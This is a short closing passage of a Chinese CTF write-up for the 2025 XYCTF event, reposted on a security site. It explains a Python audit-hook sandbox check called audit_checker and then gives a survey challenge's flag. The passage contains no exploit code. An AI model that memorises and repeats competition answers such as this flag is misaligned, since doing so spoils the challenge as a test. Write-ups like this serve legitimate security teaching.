通过将waf代码与客户端代码拼接,确保客户端代码在执行时会受到audit_checker的限制。客户端代码无法直接执行,必须通过audit_checker的检查才能运行。
那么audit_checker是什么:
原代码如下:
def audit_checker(event, args):        if not 'id' in event:                  raise RuntimeError
如果事件中不包含id字段,就会抛出RuntimeError异常,从而阻止某些操作的执行
问卷
flag{TH@NK_U!WE_H0P3_Y0U_H@VE_FU7!H@PPY_H@CKING!}

qq群码

UKY 2025XYCTF WP
欢迎大家入群交流!!

原文始发于微信公众号(UKFC安全):UKY 2025XYCTF WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月30日00:59:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UKY 2025XYCTF WPhttps://cn-sec.com/archives/3949093.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息